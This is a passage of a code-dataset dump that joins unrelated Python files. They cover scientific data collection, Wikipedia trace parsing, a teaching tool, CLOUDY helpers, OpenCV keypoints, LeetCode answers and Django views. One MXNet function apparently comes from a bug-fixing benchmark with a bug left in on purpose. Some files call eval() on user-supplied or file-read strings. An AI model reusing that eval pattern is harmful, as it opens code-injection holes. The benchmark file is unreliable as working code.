scale_factor = attrs.get('scale_factor', 1)\n\n logger.debug(\n 'Collecting file list of shape {}: {}'.format(\n shape, file_paths\n )\n )\n\n self.data = np.zeros(shape, dtype=final_dtype)\n mem = psutil.virtual_memory()\n logger.debug(\n 'Initializing output dataset \"{}\" in-memory with '\n 'shape {} and dtype {}. Current memory usage is '\n '{:.3f} GB out of {:.3f} GB total.'.format(\n feature,\n shape,\n final_dtype,\n mem.used / 1e9,\n mem.total / 1e9,\n )\n )\n\n if max_workers == 1:\n for i, fname in enumerate(file_paths):\n logger.debug(\n 'Collecting data from file {} out of {}.'.format(\n i + 1, len(file_paths)\n )\n )\n self.get_data(\n fname,\n feature,\n time_index,\n subset_masked_meta,\n scale_factor,\n final_dtype,\n )\n else:\n logger.info(\n 'Running parallel collection on {} workers.'.format(\n max_workers\n )\n )\n\n futures = {}\n completed = 0\n with ThreadPoolExecutor(max_workers=max_workers) as exe:\n for fname in file_paths:\n future = exe.submit(\n self.get_data,\n fname,\n feature,\n time_index,\n subset_masked_meta,\n scale_factor,\n final_dtype,\n )\n futures[future] = fname\n for future in as_completed(futures):\n completed += 1\n mem = psutil.virtual_memory()\n logger.info(\n 'Collection futures completed: '\n '{} out of {}. '\n 'Current memory usage is '\n '{:.3f} GB out of {:.3f} GB total.'.format(\n completed,\n len(futures),\n mem.used / 1e9,\n mem.total / 1e9,\n )\n )\n try:\n future.result()\n except Exception as e:\n msg = 'Failed to collect data from '\n msg += f'{futures[future]}'\n logger.exception(msg)\n raise RuntimeError(msg) from e\n self._write_flist_data(\n out_file,\n feature,\n time_index,\n subset_masked_meta,\n target_masked_meta,\n )\n else:\n msg = (\n 'No target coordinates found in masked meta. Skipping '\n f'collection for {file_paths}.'\n )\n logger.warning(msg)\n warn(msg)\n\n def group_time_chunks(self, file_paths, n_writes=None):\n \"\"\"Group files by temporal_chunk_index. Assumes file_paths have a\n suffix format like _{temporal_chunk_index}_{spatial_chunk_index}.h5\n\n Parameters\n ----------\n file_paths : list\n List of file paths each with a suffix\n _{temporal_chunk_index}_{spatial_chunk_index}.h5\n n_writes : int | None\n Number of writes to use for collection\n\n Returns\n -------\n file_chunks : list\n List of lists of file paths groups by temporal_chunk_index\n \"\"\"\n file_split = {}\n for file in file_paths:\n t_chunk = file.split('_')[-2]\n file_split[t_chunk] = [*file_split.get(t_chunk, []), file]\n file_chunks = []\n for files in file_split.values():\n file_chunks.append(files)\n\n logger.debug(\n f'Split file list into {len(file_chunks)} chunks '\n 'according to temporal chunk indices'\n )\n\n if n_writes is not None:\n msg = (\n f'n_writes ({n_writes}) must be less than or equal '\n f'to the number of temporal chunks ({len(file_chunks)}).'\n )\n assert n_writes < len(file_chunks), msg\n return file_chunks\n\n def get_flist_chunks(self, file_paths, n_writes=None, join_times=False):\n \"\"\"Get file list chunks based on n_writes\n\n Parameters\n ----------\n file_paths : list\n List of file paths to collect\n n_writes : int | None\n Number of writes to use for collection\n join_times : bool\n Option to split full file list into chunks with each chunk having\n the same temporal_chunk_index. The number of writes will then be\n min(number of temporal chunks, n_writes). This ensures that each\n write has all the spatial chunks for a given time index. Assumes\n file_paths have a suffix format\n _{temporal_chunk_index}_{spatial_chunk_index}.h5. This is required\n if there are multiple writes and chunks have different time\n indices.\n\n Returns\n -------\n flist_chunks : list\n List of file list chunks. Used to split collection and writing into\n multiple steps.\n \"\"\"\n if join_times:\n flist_chunks = self.group_time_chunks(\n file_paths, n_writes=n_writes\n )\n else:\n flist_chunks = [[f] for f in file_paths]\n\n if n_writes is not None:\n flist_chunks = np.array_split(flist_chunks, n_writes)\n flist_chunks = [\n np.concatenate(fp_chunk) for fp_chunk in flist_chunks\n ]\n logger.debug(\n f'Split file list into {len(flist_chunks)} '\n f'chunks according to n_writes={n_writes}'\n )\n return flist_chunks\n\n @classmethod\n def collect(\n cls,\n file_paths,\n out_file,\n features,\n max_workers=None,\n log_level=None,\n log_file=None,\n write_status=False,\n job_name=None,\n join_times=False,\n target_final_meta_file=None,\n n_writes=None,\n overwrite=True,\n threshold=1e-4,\n ):\n \"\"\"Collect data files from a dir to one output file.\n\n Filename requirements:\n - Should end with \".h5\"\n\n Parameters\n ----------\n file_paths : list | str\n Explicit list of str file paths that will be sorted and collected\n or a single string with unix-style /search/patt*ern.h5.\n out_file : str\n File path of final output file.\n features : list\n List of dsets to collect\n max_workers : int | None\n Number of workers to use in parallel. 1 runs serial,\n None will use all available workers.\n log_level : str | None\n Desired log level, None will not initialize logging.\n log_file : str | None\n Target log file. None logs to stdout.\n write_status : bool\n Flag to write status file once complete if running from pipeline.\n job_name : str\n Job name for status file if running from pipeline.\n join_times : bool\n Option to split full file list into chunks with each chunk having\n the same temporal_chunk_index. The number of writes will then be\n min(number of temporal chunks, n_writes). This ensures that each\n write has all the spatial chunks for a given time index. Assumes\n file_paths have a suffix format\n _{temporal_chunk_index}_{spatial_chunk_index}.h5. This is required\n if there are multiple writes and chunks have different time\n indices.\n target_final_meta_file : str\n Path to target final meta containing coordinates to keep from the\n full file list collected meta. This can be but is not necessarily a\n subset of the full list of coordinates for all files in the file\n list. This is used to remove coordinates from the full file list\n which are not present in the target_final_meta. Either this full\n meta or a subset, depending on which coordinates are present in\n the data to be collected, will be the final meta for the collected\n output files.\n n_writes : int | None\n Number of writes to split full file list into. Must be less than\n or equal to the number of temporal chunks if chunks have different\n time indices.\n overwrite : bool\n Whether to overwrite existing output file\n threshold : float\n Threshold distance for finding target coordinates within full meta\n \"\"\"\n t0 = time.time()\n\n logger.info(\n f'Initializing collection for file_paths={file_paths}, '\n f'with max_workers={max_workers}.'\n )\n\n if log_level is not None:\n init_logger(\n 'sup3r.preprocessing', log_file=log_file, log_level=log_level\n )\n\n if not os.path.exists(os.path.dirname(out_file)):\n os.makedirs(os.path.dirname(out_file), exist_ok=True)\n\n collector = cls(file_paths)\n logger.info(\n 'Collecting {} files to {}'.format(len(collector.flist), out_file)\n )\n if overwrite and os.path.exists(out_file):\n logger.info(f'overwrite=True, removing {out_file}.')\n os.remove(out_file)\n\n out = collector.get_collection_attrs(\n collector.flist,\n max_workers=max_workers,\n target_final_meta_file=target_final_meta_file,\n threshold=threshold,\n )\n time_index, target_final_meta, target_masked_meta = out[:3]\n shape, global_attrs = out[3:]\n\n for _, dset in enumerate(features):\n logger.debug('Collecting dataset \"{}\".'.format(dset))\n if join_times or n_writes is not None:\n flist_chunks = collector.get_flist_chunks(\n collector.flist, n_writes=n_writes, join_times=join_times\n )\n else:\n flist_chunks = [collector.flist]\n\n if not os.path.exists(out_file):\n collector._init_h5(\n out_file, time_index, target_final_meta, global_attrs\n )\n\n if len(flist_chunks) == 1:\n collector._collect_flist(\n dset,\n target_masked_meta,\n time_index,\n shape,\n flist_chunks[0],\n out_file,\n target_masked_meta,\n max_workers=max_workers,\n )\n\n else:\n for j, flist in enumerate(flist_chunks):\n logger.info(\n 'Collecting file list chunk {} out of {} '.format(\n j + 1, len(flist_chunks)\n )\n )\n (\n time_index,\n target_final_meta,\n masked_meta,\n shape,\n _,\n ) = collector.get_collection_attrs(\n flist,\n max_workers=max_workers,\n target_final_meta_file=target_final_meta_file,\n threshold=threshold,\n )\n collector._collect_flist(\n dset,\n masked_meta,\n time_index,\n shape,\n flist,\n out_file,\n target_masked_meta,\n max_workers=max_workers,\n )\n\n if write_status and job_name is not None:\n status = {\n 'out_dir': os.path.dirname(out_file),\n 'fout': out_file,\n 'flist': collector.flist,\n 'job_status': 'successful',\n 'runtime': (time.time() - t0) / 60,\n }\n Status.make_job_file(\n os.path.dirname(out_file), 'collect', job_name, status\n )\n\n logger.info('Finished file collection.')\n","sub_path":"sup3r/postprocessing/collection.py","file_name":"collection.py","file_ext":"py","file_size_in_byte":34104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"262156925","text":"\n\nfrom xai.brain.wordbase.verbs._invigorate import _INVIGORATE\n\n#calss header\nclass _INVIGORATING(_INVIGORATE, ):\n\tdef __init__(self,): \n\t\t_INVIGORATE.__init__(self)\n\t\tself.name = \"INVIGORATING\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"invigorate\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_invigorating.py","file_name":"_invigorating.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"527228891","text":"def get_model_file(name, root=os.path.expanduser('~/.mxnet/models/')):\n \"Return location for the pretrained on local file system.\\n\\n This function will download from online model zoo when model cannot be found or has mismatch.\\n The root directory will be created if it doesn't exist.\\n\\n Parameters\\n ----------\\n name : str\\n Name of the model.\\n root : str, default '~/.mxnet/models'\\n Location for keeping the model parameters.\\n\\n Returns\\n -------\\n file_path\\n Path to the requested pretrained model file.\\n \"\n file_name = '{name}-{short_hash}'.format(name=name, short_hash=short_hash(name))\n file_path = os.path.join(root, (file_name + '.params'))\n sha1_hash = _model_sha1[name]\n if os.path.exists(file_path):\n if check_sha1(file_path, sha1_hash):\n return file_path\n else:\n print('Mismatch in the content of model file detected. Downloading again.')\n else:\n print('Model file is not found. Downloading.')\n if (not os.path.exists(root)):\n os.makedirs(root)\n zip_file_path = os.path.join(root, (file_name + '.zip'))\n repo_url = os.environ.get('MXNET_GLUON_REPO', apache_repo_url)\n if (repo_url[(- 1)] != '/'):\n repo_url = (repo_url + '/')\n download(_url_format.format(repo_url=repo_url, file_name=file_name), path=zip_file_path, overwrite=True)\n with zipfile.ZipFile(zip_file_path) as zf:\n zf.extractall(root)\n os.remove(zip_file_path)\n if check_sha1(file_path, sha1_hash):\n return file_path\n else:\n raise ValueError('Downloaded file has different hash. Please try again.')","sub_path":"Data Set/bug-fixing-3/42031335b95c0e8e851770607a86bb3b73cd1300--bug.py","file_name":"42031335b95c0e8e851770607a86bb3b73cd1300--bug.py","file_ext":"py","file_size_in_byte":1654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"194793081","text":"import argparse\nimport datetime\nimport os\nimport random\n\nimport pandas as pd\n\n# hacky way to make sure utils is visible\nimport sys\nsys.path.append(os.path.abspath(os.path.abspath(os.path.dirname(__file__)) + '/../../..'))\n\nfrom src.utils import config\nfrom src.utils import read_redirects\nfrom src.utils import main_page_titles\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--languages\",\n default=config.languages,\n nargs=\"*\",\n help=\"List of languages to process\")\n parser.add_argument(\"--in_dir_traces\",\n default=config.smpl_req_folder,\n help=\"Folder with webrequest traces\")\n parser.add_argument(\"--redirect_dir\",\n default=config.redirect_folder,\n help=\"Folder with Wikipedia redirects\")\n parser.add_argument(\"--out_dir\",\n default=config.smpl_anon_folder,\n help=\"Folder for output joined responses/traces.\")\n args = parser.parse_args()\n\n if not os.path.isdir(args.out_dir):\n print(\"Creating directory: {0}\".format(os.path.abspath(args.out_dir)))\n os.mkdir(args.out_dir)\n\n for lang in args.languages:\n print(\"**************\")\n print(\"* Processing \" + lang)\n print(\"**************\")\n\n error_count = 0\n success_count = 0\n none_count = 0\n\n redirects = read_redirects(lang, args.redirect_dir)\n\n instances = []\n with open(os.path.join(args.in_dir_traces, \"parsed_{0}.csv\".format(lang)), \"w\") as out:\n with open(os.path.join(args.in_dir_traces, \"sample_{0}.csv\".format(lang)), 'r') as f:\n for i, row in enumerate(f):\n if i > 0:\n try:\n row = parse_row(row, redirects, lang)\n if row is not None:\n instances.append(row)\n out.write(str(row) + \"\\n\")\n success_count += 1\n else:\n none_count += 1\n except Exception as e:\n print(e)\n error_count += 1\n if i % 10000 == 0:\n print(\"processing line...\", i)\n print(\"line count: \", i)\n\n df = pd.DataFrame(instances, columns=[\"userhash\", \"geocoded_data\", \"survey_request\", \"requests\"])\n print(\"size df: \", len(df))\n df['survey_dt_utc'] = df['survey_request'].apply(lambda x: x['ts'])\n df['survey_title'] = df['survey_request'].apply(lambda x: x['title'])\n\n df.dropna(inplace=True, subset=['requests'])\n df = df.reset_index(drop=True)\n print(\"size after dropping users without request: \", len(df))\n\n print(\"# errors: \", error_count)\n print(\"# success: \", success_count)\n print(\"# nones: \", none_count)\n\n print(\"Anonymizing survey...\")\n\n geo_cols = [\"continent\", \"country\", \"country_code\", \"timezone\"]\n for geo_col in geo_cols:\n df[geo_col] = df['geocoded_data'].apply(lambda x: x.get(geo_col, None))\n df.to_pickle(os.path.join(args.out_dir, \"sample_df_{0}.p\".format(lang)))\n print(\"finished\")\n\n\n\ndef parse_row(line, redirects, lang):\n row = line.strip().split('\\t')\n if len(row) != 3:\n return None\n \n d = {'userhash': row[0],\n 'geocoded_data' : eval(row[1]),\n 'requests' : parse_requests(row[2])\n }\n if d['requests'] is None:\n return None\n\n # select \"survey\" request\n title_check = [\"hyphen-minus\"]\n out = []\n for i, r in enumerate(d[\"requests\"]):\n r[\"userhash\"] = i\n if \"title\" in r and r['lang'] == lang:\n if r['title'] in redirects:\n r['title'] = redirects[r['title']]\n if r['title'] == main_page_titles.get(lang, None):\n continue\n if not any(x in r[\"title\"].lower() for x in title_check):\n r['ts'] = datetime.datetime.strptime(r['ts'], '%Y-%m-%d %H:%M:%S')\n out.append(r)\n if len(out) > 0:\n d[\"survey_request\"] = random.choice(out)\n return d\n else:\n return None\n\n\n\ndef parse_requests(requests):\n ret = []\n for r in requests.split(config.request_delim):\n t = r.split('|')\n if (len(t) % 2) != 0: # should be list of (name, value) pairs and contain at least userhash,ts,title\n continue\n data_dict = {t[i]:t[i+1] for i in range(0, len(t), 2)}\n ret.append(data_dict)\n try:\n ret.sort(key = lambda x: x['ts']) # sort by time\n except:\n return None\n \n return ret\n\n\n\ndef extract_survey_request (l):\n pageTitle = str(l.event_pageTitle)\n dt = datetime.datetime.strptime(str(l.timestamp), '%Y%m%d%H%M%S')\n if l.requests is None:\n return None\n for req in reversed(l.requests):\n if (req[\"title\"] == pageTitle) or (req[\"uri_path\"] == (\"/wiki/\" + pageTitle)):\n ts = req[\"ts\"]\n if ts < dt:\n return req\n return None\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/preprocessing/02_extractlogtraces/09_prepare_control_requests.py","file_name":"09_prepare_control_requests.py","file_ext":"py","file_size_in_byte":5267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"488119669","text":"from django.conf import settings\nimport json\n\nfrom collections import namedtuple\n\nResultadoDeComparacao = namedtuple('ResultadoDeComparacao',\n 'sucesso,mensagens')\n\nif not settings.DEV_SERVER:\n import boto3\n\n\ndef verifica_memorias(recebido, esperado):\n recebido_json = json.dumps(recebido)\n esperado_json = json.dumps(esperado)\n\n if settings.DEV_SERVER:\n return compara_memorias(recebido_json, esperado_json)\n else:\n kwargs = {\n 'region_name': 'us-east-1',\n }\n if settings.AWS_ACCESS_KEY:\n kwargs['aws_access_key_id'] = settings.AWS_ACCESS_KEY\n if settings.AWS_SECRET_KEY:\n kwargs['aws_secret_access_key'] = settings.AWS_SECRET_KEY\n lamb = boto3.client('lambda', **kwargs)\n args = {\n 'recebido_json': recebido_json,\n 'esperado_json': esperado_json,\n }\n\n response = lamb.invoke(FunctionName=\"comparaMemorias\",\n InvocationType='RequestResponse',\n Payload=json.dumps(args))\n resultado = response['Payload'].read().decode('utf-8')\n return json.loads(json.loads(resultado))\n\n\ndef compara_memorias(recebido_json, esperado_json):\n recebido = json.loads(recebido_json)\n esperado = json.loads(esperado_json)\n mensagens = []\n keys = esperado.keys() | recebido.keys()\n for k in keys:\n v_esperado = esperado.get(k, {})\n v_recebido = recebido.get(k, {})\n if (not v_esperado) and v_recebido:\n mensagens.append(\n 'Alguma parte da memória não deveria estar mais ativa.')\n elif v_esperado and (not v_recebido):\n mensagens.append('A memória desativada ainda está ativa.')\n else:\n try:\n v_recebido = {\n r_k: eval(r_v) if r_v else None\n for r_k, r_v in v_recebido.items()\n }\n if v_esperado != v_recebido:\n mensagens.append(\n 'Pelo menos um valor na memória está incorreto.')\n except NameError:\n mensagens.append(\n 'Não consegui entender algum dos valores da memória. Você não esqueceu as aspas em alguma string?'\n )\n return ResultadoDeComparacao(len(mensagens) == 0, mensagens)\n","sub_path":"teste_de_mesa/code_runner.py","file_name":"code_runner.py","file_ext":"py","file_size_in_byte":2395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"418297576","text":"from astropy import constants\nimport itertools\nimport numpy as np\nfrom scipy import integrate\n\n\"\"\"\n----------------------------------------------------------------------------------------------------------------\nFrom cloudyfsps written by Nell Byler.\n(Source https://github.com/nell-byler/cloudyfsps/blob/master/cloudyfsps/generalTools.py\n retrieved in October 2019)\n----------------------------------------------------------------------------------------------------------------\n\"\"\"\n\n\ndef calc_LogU(nuin0, specin0, nh, T, efrac, mstar=1.0):\n '''\n Claculates the number of lyman ionizing photons for given a spectrum\n Input spectrum must be in ergs/s/Hz!!\n Q = int(Lnu/hnu dnu, nu_0, inf) , number of hydrogen ionizing photons\n mstar is in units of solar mass\n Rin is in units of cm-3\n nh is in units of cm-3\n '''\n\n c = constants.c.cgs.value # cm/s\n h = constants.h.cgs.value # erg/s\n alpha = 2.5e-13*((T/(10**4))**(-0.85)) # cm3/s\n lam_0 = 911.6 * 1e-8 # Halpha wavelength in cm\n\n nuin = np.asarray(nuin0)\n specin = np.asarray(specin0)\n nu_0 = c / lam_0\n inds, = np.where(nuin >= nu_0)\n hlam, hflu = nuin[inds], specin[inds]\n nu = hlam[::-1]\n f_nu = hflu[::-1]\n integrand = f_nu / (h * nu)\n logQ = np.log10(integrate.simps(integrand, x=nu)*mstar*(1-efrac)) \n Rin = (3 * (10 ** logQ) / (4 * np.pi * nh * nh * alpha)) ** (1. / 3.)\n logU = np.log10((10**logQ)/(4*np.pi*Rin*Rin*nh*c))\n return logQ, Rin, logU\n\n\ndef air_to_vac(inpt, no_uv_conv=True):\n \"\"\"\n from morton 1991\n preserves order of input array\n \"\"\"\n if type(inpt) is float:\n wl = np.array([inpt])\n else:\n wl = np.asarray(inpt)\n to_vac = lambda lam: (6.4328e-5 + (2.94981e-2/(146.0-(1.0e4/lam)**2.0)) + (2.554e-4/(41.0-(1.0e4/lam)**2.0)))*lam + lam\n if no_uv_conv:\n outpt = np.array([to_vac(lam) if lam > 2000.0 else lam for lam in wl])\n else:\n outpt = to_vac(wl)\n return outpt\n\n\ndef sym_to_name(val=None):\n elem_keys = dict(He=\"helium\",\n C=\"carbon\",\n N=\"nitrogen\",\n O=\"oxygen\",\n Ne=\"neon\",\n Mg=\"magnesium\",\n Si=\"silicon\",\n S=\"sulphur\",\n Ar=\"argon\",\n Ca=\"calcium\",\n Fe=\"iron\",\n F=\"fluorine\",\n Na=\"sodium\",\n Al=\"aluminum\",\n Cl=\"chlorine\",\n Ni=\"nickel\",\n P=\"phosphorus\",\n Sc=\"scandium\",\n K=\"potassium\",\n Ti=\"titanium\",\n V=\"vanadium\",\n Cr=\"chromium\",\n Co=\"cobalt\",\n Cu=\"copper\",\n Mn=\"manganese\",\n Zn=\"zinc\")\n if val is None:\n return elem_keys\n else:\n try:\n return elem_keys[val.title()]\n except KeyError:\n print(\"element not in \", elem_keys.keys())\n\n\ndef grouper(n, iterable):\n \"\"\"\n Iterate through array in groups of n\n \"\"\"\n it = iter(iterable)\n while True:\n chunk = tuple(itertools.islice(it, n))\n if not chunk:\n return\n yield chunk\n\n\ndef cmdf(stellar_mass, nbins, min_mass, max_mass, beta):\n \"\"\"\n Calculates the number of clusters per mass interval assuming a cluster\n mass distribution function of the form dN/dM goes as M^(-beta)\n \"\"\"\n interval = (max_mass-min_mass)/nbins\n num = []\n mass = []\n for i in range(nbins):\n m = min_mass + (i*interval)\n mass.append(m)\n\n denom = sum((10**q)**(beta + 2) for q in mass)\n A = (stellar_mass / denom)\n\n for i in range(nbins):\n N = A*((10**mass[i])**(1. + beta))\n num.append(round(N))\n return mass, num\n\n\ndef convert_metals(metals):\n \"\"\"\n Converts metalicity from units of percentage by mass (SIMBA) \n to atom per hydrogen atoms (CLOUDY)\n \"\"\"\n # mass of elements in unified atomic mass units\n # [He, C, N, O, Ne, Mg, Si, S, Ca, Fe]\n per_H = 0.7314\n mass_H = 1.008\n mass = [4.002602, 12.001, 14.007, 15.999, 20.1797, \n 24.305, 28.085, 32.06, 40.078, 55.845]\n metals_conv = np.zeros(len(metals))\n for i in range(len(metals)):\n metals_conv[i] = np.log10((metals[i]/per_H)*(mass_H/mass[i]))\n\n return metals_conv\n\n","sub_path":"powderday/nebular_emission/cloudy_tools.py","file_name":"cloudy_tools.py","file_ext":"py","file_size_in_byte":4456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"291190372","text":"import numpy as np\nimport random\nfrom sys import getsizeof\n\ndef data_generator(data, batch_size): \n index = [x for x in range(len(data))]\n index.reverse()\n count = 0\n random.shuffle(data)\n while True:\n # random.shuffle(data)\n batch = []\n a = 0\n for x in index:\n if a == 0:\n # print(len(index))\n batch.append(data[x])\n index.remove(x)\n a = 1\n continue\n if len(data[x]['ofm0']) == len(batch[0]['ofm0']):\n batch.append(data[x])\n index.remove(x)\n if len(batch) >= batch_size:\n break\n count = count + 1\n if index == []:\n index = [x for x in range(len(data))]\n index.reverse()\n print(count)\n data_ofm0_batch = []\n data_ofm1_batch = []\n data_ofm2_batch = []\n data_ofm3_batch = []\n data_ene_input_batch = []\n data_ene_f_batch = []\n for x in batch:\n data_ofm0_batch.append(x['ofm0'])\n data_ofm1_batch.append(x['ofm1'])\n data_ofm2_batch.append(x['ofm2'])\n data_ofm3_batch.append(x['ofm3'])\n data_ene_input_batch.append([x['ene_tot'], x['ene_tot_pa']])\n data_ene_f_batch.append(x['ene_f'])\n yield [np.array(data_ofm0_batch), np.array(data_ofm1_batch), np.array(data_ofm2_batch), np.array(data_ofm3_batch), np.array(data_ene_input_batch)], [np.array(data_ene_f_batch), np.array(data_ene_f_batch)]\n\ndef gendata():\n \n data = np.load('/home/zun/Documents/crystals_data/ofm_data.npy', allow_pickle=True)\n\n for x in range(len(data)):\n del data[x]['poscar']\n del data[x]['local_xyz']\n del data[x]['atoms']\n del data[x]['ofm0']\n del data[x]['ofm1']\n del data[x]['ofm2']\n for name in ['ofm3']:\n out = []\n for x in range(len(data[0][name][0])):\n temp_1 = 0\n for y in range(len(data)):\n # print(x)\n # print(y)\n temp = 0 \n for z in range(len(data[y][name])):\n if data[y][name][z][x] != 0:\n temp = 1\n break\n if temp != 0:\n temp_1 = 1\n break\n if temp_1 == 0:\n out.append(x)\n print(x)\n\n\n out.reverse()\n sav = []\n for x in range(len(data)):\n # print(x)\n # temp = data[x][name]\n for y in out:\n data[x][name] = np.delete(data[x][name], y, 1)\n \n\n random.shuffle(data)\n\n test = data[:600]\n data = data[600:] \n a = data_generator(data, 64)\n te = next(a)\n print(te)\n print(len(te[0][0]), len(te[0][0][0]))\n # [[m0, m1, m2, m3, ip], [nf, nf1]] = next(a)\n # print(m0)\n # # print(len(m0))\n # for x in range(200):\n # [[m0, m1, m2, m3, ip], [nf, nf1]] = next(a)\n # # print(b[0].keys())\n # print(len(m0), len(m0[0]), len(m0[0][0]))\n # if nf == nf1:\n # print('true')\ngendata()","sub_path":"data_processing/gen_data.py","file_name":"gen_data.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"186680922","text":"import sys\r\nimport numpy as np\r\nimport cv2\r\n\r\n\r\n# 영상 불러오기\r\nsrc1 = cv2.imread('graf1.png', cv2.IMREAD_GRAYSCALE)\r\nsrc2 = cv2.imread('graf3.png', cv2.IMREAD_GRAYSCALE)\r\n\r\nif src1 is None or src2 is None:\r\n print('Image load failed!')\r\n sys.exit()\r\n\r\n# 특징점 알고리즘 객체 생성 (KAZE, AKAZE, ORB 등)\r\nfeature1 = cv2.KAZE_create()\r\nfeature2 = cv2.AKAZE_create()\r\nfeature3 = cv2.ORB_create()\r\n\r\n# 특징점 검출\r\nkp1 = feature1.detect(src1)\r\nkp2 = feature1.detect(src2)\r\nkp3 = feature2.detect(src1)\r\nkp4 = feature2.detect(src2)\r\nkp5 = feature3.detect(src1)\r\nkp6 = feature3.detect(src2)\r\n\r\n\r\nprint('# of kp1:', len(kp1))\r\nprint('# of kp2:', len(kp2))\r\nprint('# of kp3:', len(kp3))\r\nprint('# of kp4:', len(kp4))\r\nprint('# of kp5:', len(kp5))\r\nprint('# of kp6:', len(kp6))\r\n\r\n# 검출된 특징점 출력 영상 생성\r\ndst1 = cv2.drawKeypoints(src1, kp1, None,) # flags 지운거\r\ndst2 = cv2.drawKeypoints(src2, kp2, None,\r\n flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS) # 방향성, 원 크기 표시\r\ndst3 = cv2.drawKeypoints(src1, kp3, None,) # flags 지운거\r\ndst4 = cv2.drawKeypoints(src2, kp4, None,\r\n flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS) # 방향성, 원 크기 표시\r\ndst5 = cv2.drawKeypoints(src1, kp5, None,) # flags 지운거\r\ndst6 = cv2.drawKeypoints(src2, kp6, None,\r\n flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS) # 방향성, 원 크기 표시\r\n\r\ncv2.imshow('KAZE1', dst1)\r\ncv2.imshow('KAZE2', dst2)\r\ncv2.imshow('AKAZE1', dst3)\r\ncv2.imshow('AKAZE2', dst4)\r\ncv2.imshow('ORB1', dst5)\r\ncv2.imshow('ORB2', dst6)\r\ncv2.waitKey()\r\ncv2.destroyAllWindows()\r\n","sub_path":"keypoints.py","file_name":"keypoints.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"538609707","text":"\"\"\"\nImplement regular expression matching with support for '.' and '*'.\n\n'.' Matches any single character. \n'*' Matches zero or more of the preceding element.\n\nThe matching should cover the entire input string (not partial).\n\nThe function prototype should be: \nbool isMatch(const char *s, const char *p)\n\nSome examples: \nisMatch(\"aa\",\"a\") → false \nisMatch(\"aa\",\"aa\") → true \nisMatch(\"aaa\",\"aa\") → false \nisMatch(\"aa\", \"a*\") → true \nisMatch(\"aa\", \".*\") → true \nisMatch(\"ab\", \".*\") → true \nisMatch(\"aab\", \"c*a*b\") → true\n\nOverall, test if s in p\n\"\"\"\n\nclass Solution:\n # @return a boolean\n def isMatch(self, s, p):\n N, M = len(s) + 1, len(p) + 1\n # Build a wide dp\n dp = [[False for _ in range(M)] for _ in range(N)]\n dp[0][0] = True\n for pair in range(2, M, 2):\n if p[pair-1] != '*':\n break\n dp[0][pair] = True\n for i in range(1, N):\n for j in range(1, M):\n if p[j-1] == '.' or s[i-1] == p[j-1]:\n dp[i][j] = dp[i-1][j-1]\n elif p[j-1] == '*':\n condition1 = dp[i][j-2]\n condition2 = (dp[i-1][j] and (s[i-1] == p[j-2] or p[j-2] == '.'))\n if condition1 | condition2:\n dp[i][j] = True \n return dp[N-1][M-1]\n","sub_path":"leetcode/Regular Expression Matching.py","file_name":"Regular Expression Matching.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"33555228","text":"# Time: O(logn)\n# Space: O(1)\n\n# 367\n# Given a positive integer num, write a function\n# which returns True if num is a perfect square else False.\n#\n# Note: Do not use any built-in library function such as sqrt.\n#\n# Example 1:\n#\n# Input: 16\n# Returns: True\n# Example 2:\n#\n# Input: 14\n# Returns: False\n\nclass Solution(object):\n def isPerfectSquare(self, num): # USE THIS: similar to sqrt.py. find max y where y**2 <= x\n \"\"\"\n :type num: int\n :rtype: bool\n \"\"\"\n if num < 2: return True\n l, r = 1, num // 2\n while l < r:\n m = (r - l + 1) // 2 + l\n if m*m <= num:\n l = m\n else:\n r = m - 1\n return l ** 2 == num\n\n def isPerfectSquare_kamyu(self, num):\n left, right = 1, num\n while left <= right:\n mid = left + (right - left) / 2\n if mid >= num / mid:\n right = mid - 1\n else:\n left = mid + 1\n return left == num / left and num % left == 0\n","sub_path":"Python/valid-perfect-square.py","file_name":"valid-perfect-square.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"446860789","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.forms import inlineformset_factory\nfrom django.urls import reverse\nfrom django.http import HttpResponse, HttpResponseRedirect\n\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.decorators import user_passes_test\nfrom django.core.exceptions import PermissionDenied\n\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom django.views import generic\nfrom django.utils.safestring import mark_safe\n\nfrom datetime import datetime, timedelta, date\nfrom calendar import HTMLCalendar\n\nfrom .models import *\nfrom .forms import *\nfrom .utils import *\nfrom .group_check import group_required\n\nfrom geopy.geocoders import Nominatim\nfrom geopy.distance import geodesic\nimport folium\nimport calendar\n\n# Create your views here.\n\ndef registerPage(request):\n if request.user.is_authenticated:\n return redirect('home')\n else:\n form = CreateUserForm()\n if request.method == \"POST\":\n form = UserCreationForm(request.POST)\n if form.is_valid():\n form.save()\n user = form.cleaned_data.get('username')\n messages.success(request, 'Account was created for ' + user)\n return redirect('login')\n context = {'form':form}\n return render(request, 'base_templates/register.html', context)\n\ndef loginPage(request):\n if request.user.is_authenticated:\n return 